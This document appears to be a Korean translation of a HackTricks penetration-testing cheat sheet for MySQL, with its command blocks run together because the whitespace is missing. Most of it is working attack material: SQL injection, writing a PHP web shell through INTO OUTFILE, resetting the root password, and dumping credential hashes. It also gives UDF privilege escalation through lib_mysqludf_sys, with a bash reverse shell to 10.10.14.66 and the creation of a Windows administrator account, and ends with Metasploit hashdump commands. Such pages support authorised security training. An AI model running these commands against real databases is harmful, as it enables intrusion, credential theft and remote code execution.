showdatabases;use<database>;connect<database>;showtables;describe<table_name>;showcolumnsfrom<table>;select version(); #versionselect @@version(); #versionselect user(); #Userselect database(); #database name#Get a shell with the mysql client user\!sh#Basic MySQLiUnionSelect1,2,3,4,group_concat(0x7c,table_name,0x7C) frominformation_schema.tablesUnionSelect1,2,3,4,column_namefrominformation_schema.columnswheretable_name="<TABLE NAME>"#Read & Write## Yo need FILE privilege to read & write to files.select load_file('/var/lib/mysql-files/key.txt'); #Read fileselect 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'#Try to change MySQL root passwordUPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';FLUSH PRIVILEGES;quit;
mysql-uusername-p<manycommands.sql#A file with all the commands you want to executemysql-uroot-h127.0.0.1-e'show databases;'
MySQL 권한 열거
#MysqlSHOW GRANTS [FOR user];SHOW GRANTS;SHOW GRANTS FOR'root'@'localhost';SHOW GRANTS FORCURRENT_USER();# Get users, permissions & hashesSELECT*FROM mysql.user;#From DBselect*from mysql.user where user='root';## Get users with file_privselect user,file_priv from mysql.user where file_priv='Y';## Get users with Super_privselect user,Super_priv from mysql.user where Super_priv='Y';# List functionsSELECT routine_name FROM information_schema.routines WHERE routine_type ='FUNCTION';#@ Functions notfrom sys. dbSELECT routine_name FROM information_schema.routines WHERE routine_type ='FUNCTION'AND routine_schema!='sys';
실제로 로컬 데이터를 테이블로 로드하려고 할 때, MySQL 또는 MariaDB 서버는 클라이언트에 파일 내용을 읽도록 요청하고 내용을 보냅니다. 그런 다음, MySQL 클라이언트를 조작하여 자체 MySQL 서버에 연결하도록 할 수 있다면 임의 파일을 읽을 수 있습니다.
이것이 사용 중인 동작임을 주의하세요:
mysql>loaddatainfile"/etc/passwd"intotabletestFIELDSTERMINATEDBY'\n';ERROR1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
**admin_address**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
debug 변수는 현재 디버깅 구성을 나타내며 로그 내에 민감한 정보가 포함됩니다.
**sql_warnings**는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지를 관리하며 로그 내에 민감한 데이터가 포함됩니다.
**secure_file_priv**를 사용하면 데이터 가져오기 및 내보내기 작업의 범위가 제한되어 보안이 강화됩니다.
권한 상승
# Get current user (an all users) privileges and hashesusemysql;select user();select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;# Get users, permissions & credsSELECT*FROMmysql.user;mysql-uroot--password=<PASSWORD>-e"SELECT * FROM mysql.user;"# Create user and give privilegescreateusertestidentifiedby'test';grantSELECT,CREATE,DROP,UPDATE,DELETE,INSERTon*.*tomysqlidentifiedby'mysql'WITHGRANTOPTION;# Get a shell (with your permissions, usefull for sudo/suid privesc)\!sh
라이브러리를 통한 권한 상승
만약 mysql 서버가 루트로 실행 중이라면 (또는 다른 더 높은 권한을 가진 사용자라면) 명령을 실행시킬 수 있습니다. 이를 위해 사용자 정의 함수를 사용해야 합니다. 그리고 사용자 정의 함수를 생성하려면 mysql을 실행 중인 OS에 대한 라이브러리가 필요합니다.
악의적인 라이브러리는 sqlmap 내부와 metasploit 내부에서 **locate "*lib_mysqludf_sys*"**를 실행하여 찾을 수 있습니다. .so 파일은 리눅스 라이브러리이고 .dll 파일은 Windows용입니다. 필요한 것을 선택하십시오.
만약 해당 라이브러리를 가지고 있지 않다면, 해당 라이브러리를 찾아보거나, 이 리눅스 C 코드를 다운로드하여 리눅스 취약한 기계 내에서 컴파일할 수 있습니다.
이제 라이브러리를 가지고 있으므로 Mysql에 특권 사용자(root?)로 로그인하고 다음 단계를 따르십시오:
Linux
# Use a databaseuse mysql;# Create a tabletoload the library andmove it to the plugins dircreatetablenpn(line blob);# Load the binary library inside the table## You might need to change the pathandfilenameinsert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));# Get the plugin_dir pathshow variables like'%plugin%';# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/# dumpin there the libraryselect*from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';# Create a functiontoexecute commandscreatefunctionsys_execreturnsinteger soname 'lib_mysqludf_sys.so';# Execute commandsselect sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
윈도우
# CHech the linux comments for more indicationsUSE mysql;CREATETABLEnpn(line blob);INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));show variables like'%plugin%';SELECT*FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';CREATEFUNCTIONsys_execRETURNSinteger SONAME 'lib_mysqludf_sys_32.dll';SELECT sys_exec("net user npn npn12345678 /add");SELECT sys_exec("net localgroup Administrators npn /add");
파일에서 MySQL 자격 증명 추출
/etc/mysql/debian.cnf 내부에는 사용자 debian-sys-maint의 평문 암호를 찾을 수 있습니다.
cat/etc/mysql/debian.cnf
다음 자격 증명을 사용하여 mysql 데이터베이스에 로그인할 수 있습니다.
파일 내부: /var/lib/mysql/mysql/user.MYD 에서 MySQL 사용자의 모든 해시를 찾을 수 있습니다 (데이터베이스 내부의 mysql.user에서 추출할 수 있는 것들).
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
RootedCON은 스페인에서 가장 중요한 사이버 보안 이벤트 중 하나이며 유럽에서도 가장 중요한 이벤트 중 하나입니다. 기술 지식을 촉진하는 데 봉사하는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남의 장입니다.
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!
HackTricks를 지원하는 다른 방법:
회사가 HackTricks를 광고하거나 PDF로 다운로드하고 싶다면구독 요금제를 확인하세요!